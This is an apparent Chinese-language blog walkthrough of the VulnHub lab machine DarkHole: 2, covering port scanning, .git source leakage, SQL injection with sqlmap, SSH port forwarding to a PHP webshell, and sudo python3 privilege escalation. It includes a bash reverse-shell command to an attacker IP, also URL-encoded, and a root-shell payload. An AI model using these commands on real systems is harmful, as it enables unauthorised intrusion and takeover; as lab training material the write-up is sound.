DarkHole: 2

靶机描述

靶机地址:https://download.vulnhub.com/darkhole/darkhole_2.zip

Description

Difficulty:Hard
This works better with VMware rather than VirtualBox
Hint: Don't waste your time For Brute-Force

信息收集

主机发现

利用arp-scan -l命令扫描靶机IP

arp-scan -l

image.png

开放端口服务信息获取

nmap -v -T4 -p- -A -oN nmap.log 192.168.75.170

发现.git泄露
image.png

目录扫描

dirsearch -u http://192.168.75.170/

image.png

gobuster dir -u http://192.168.75.170/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

image.png

.git源码泄露漏洞

下载.git

wget -r http://192.168.75.170/.git //-r递归下载所有文件

创建一个git存储库"webapp",我们可以在其中执行所有git操作

git clone . webapp

image.png
查看login.php,我们看到了登录逻辑,并对输入参数进行了转义,防止注入
image.png
git log查看更新
image.png
看到第2次更新时,login.php使用了默认凭证
因此,我们将HEAD切换到该提交,并查看login.php
image.png
找到了用户名和密码,然后登陆平台
image.png

SQL注入

URL上,我们看到一个GET参数id,当我们改变它的值时,我们也可以观察到页面的变化
id=null时,数据为空
image.png
sqlmap跑一下
image.png
在ssh表里发现了一个账号密码,我们可以拿来连接ssh
image.png

SSH登录

image.png
权限提升一般通过查看sudo权限,发现具有特殊权限的文件,发现秘密文件,还有一些历史记录,定时任务,系统软件版本漏洞等
这道题这里采用的是定时任务,输入命令查看定时任务

cat /etc/crontab

image.png
可以看到运行了一个php服务器在9999端口上,用户为losy,我们可以尝试去看一下源代码
image.png
发现居然是一个一句话木马,我们可以通过携带我们想要执行的命令的cmd参数访问这个链接就可以以losy的身份执行命令
不过这个链接只能本地访问,因为我们已经获取了目标靶机的一个用户,所以我们可以使用SSH的本地转发功能(SSH -L)
这个功能是在本地监听一个端口,但该端口的连接被转发到远程主机的特定端口。相当于把远程端口映射到本地,即“将远程端口放在本地”
如下例子将监听本地9999端口,任何访问9999的客户端,都相当于远程访问example.com的80端口,但是流量是通过remote.server,并且所有流量都被加密

ssh -L 0.0.0.0:9999:example.com:80 user@remote.server

还有一种变体,目标主机与代理主机可以是同一台主机,即将remote.server服务映射到本地

ssh -L 0.0.0.0:9999:127.0.0.1:6379 user@remote.server

我们使用这个命令将目标靶机的本地9999映射到本地9999端口

ssh -L 9999:127.0.0.1:9999 jehad@192.168.75.170

image.png
然后我们在浏览器中访问9999端口,传入cmd参数
image.png
可以看到,用户为losy,我们可以反弹一个losy的shell

bash -c 'bash -i >& /dev/tcp/192.168.75.150/9000 0>&1'

进行URL编码后

bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.75.150%2F9000%200%3E%261'

利用nc -nvlp 9000在本地开启监听,然后将上面命令作为cmd参数访问,从而拿到shell,然后对shell进行升级

python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png
image.png

提权

sudo -l 查询发现可以使用python3提权
image.png

sudo /usr/bin/python3 -c  "import os;os.system('/bin/bash')"

image.png

posted @ 2024-05-05 01:14  NoCirc1e  阅读(44)  评论(0编辑  收藏  举报